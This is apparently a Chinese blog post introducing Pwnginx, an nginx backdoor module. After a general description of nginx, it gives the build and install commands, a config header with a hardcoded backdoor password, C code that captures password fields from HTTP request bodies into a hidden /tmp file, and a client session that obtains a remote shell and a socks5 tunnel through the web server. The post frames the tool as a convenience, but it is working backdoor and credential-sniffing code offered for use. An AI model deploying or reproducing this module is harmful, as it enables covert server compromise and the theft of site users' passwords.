Pwnginx – a nginx backdoor offering shell

Nginx(发音同 engine x)是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,供俄国大型的入口网站及搜索引擎Rambler(俄文:Рамблер)使用。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好.中国大陆使用nginx网站用户有:新浪、网易、 腾讯等。

Nginx代码完全用C语言从头写成,已经移植到许多体系结构和操作系统,包括:Linux、FreeBSD、Solaris、Mac OS X、AIX以及Microsoft Windows。Nginx有自己的函数库,并且除了zlib、PCRE和OpenSSL之外,标准模块只使用系统C库函数。而且,如果不需要或者考虑到潜在的授权冲突,可以不使用这些第三方库。

作为邮件代理服务器:Nginx 同时也是一个非常优秀的邮件代理服务器(最早开发这个产品的目的之一也是作为邮件代理服务器),Last. fm 描述了成功并且美妙的使用经验。
Nginx 是一个安装非常的简单,配置文件非常简洁(还能够支持perl语法),Bugs非常少的服务器:Nginx 启动特别容易,并且几乎可以做到7*24不间断运行,即使运行数个月也不需要重新启动。你还能够不间断服务的情况下进行软件版本的升级。

Tm3y锅锅一直是我偶像,即使他不在360了,他写得这东西是一个Nginx的模块,为了减少你服务器的使用资源,使用此模块你可以不必要安装Telnet Openssh-server等等远程服务,或者有你可以通过Ningx开启一个socks5代理来访问内部资源

Nginx的无缝升级和添加模块一直是很方便,添加这个模块到你服务器非常简单

[root@centos6 nginx-1.5.2]# /pen/evil/n/sbin/nginx -V
nginx version: nginx/1.5.2
built by gcc 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) 
configure arguments: --prefix=/pen/evil/n --without-http_rewrite_module --without-http_gzip_module
[root@centos6 nginx-1.5.2]# git clone https://github.com/t57root/pwnginx.git
[root@centos6 nginx-1.5.2]# ./configure --prefix=/pen/evil/n --without-http_rewrite_module --without-http_gzip_module --add-module=./pwnginx/module/
[root@centos6 nginx-1.5.2]# make && make install


然后重启你的Nginx就行,编译你时候你需要定义写东西

[root@centos6 module]# cat config.h 
#ifndef CONFIG_H
#define CONFIG_H

#define PASSWORD "t57root"
#define PWD_SNIFF_FILE "/tmp/.web_sniff"
#define ROOTSHELL

#endif
[root@centos6 module]#

还能进行sniff Http哦~

    if (r->request_body){
        ngx_chain_t     *cl = r->request_body->bufs;
        if(cl){
            //1024
            char *tmp_buf = malloc(1025);
            tmp_buf[1024]='\0';
            strncpy(tmp_buf,(char *)cl->buf->pos,1024);
            if( ngx_strcasestrn((u_char *)tmp_buf, "password=",9-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "passwd=",7-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "pwd=",4-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "name=\"password\"",15-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "name=\"passwd\"",13-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "name=\"pwd\"",10-1)){
                FILE *fp = fopen(PWD_SNIFF_FILE,"a");
                r->request_line.data[(int)r->request_line.len]='\0';
                fprintf(fp,"%s\n",(char *)r->request_line.data);
                r->headers_in.host->value.data[(int)r->headers_in.host->value.len]='\0';
                fprintf(fp,"Host:%s\n",(char *)r->headers_in.host->value.data);
                fprintf(fp,"%s\n======================\n",cl->buf->pos);
                fclose(fp);
            }
        }
    }

获得一个SHELL:

[root@centos6 client]# ./pwnginx shell 127.0.0.1 80 t57root
[ Pwnginx ] - Pwn nginx
Copyleft by t57root @ openwill.me
<t57root@gmail.com>  [www.HackShell.net]

Usage:
Get a shell access via the nginx running @ [ip]:[port]
	./pwnginx shell [ip] [port] [password]
Get a socks5 tunnel listening at [socks5ip]:[socks5port]
	./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port]

[i] Obtaining shell access
[i] About to connect to nginx

[i] Enjoy the real world.
id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

源代码和详细说明你可以在TM3Y的GIT里找到:https://github.com/t57root/pwnginx
Update  :内网的Nginx 貌似不能用,测试了N多

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值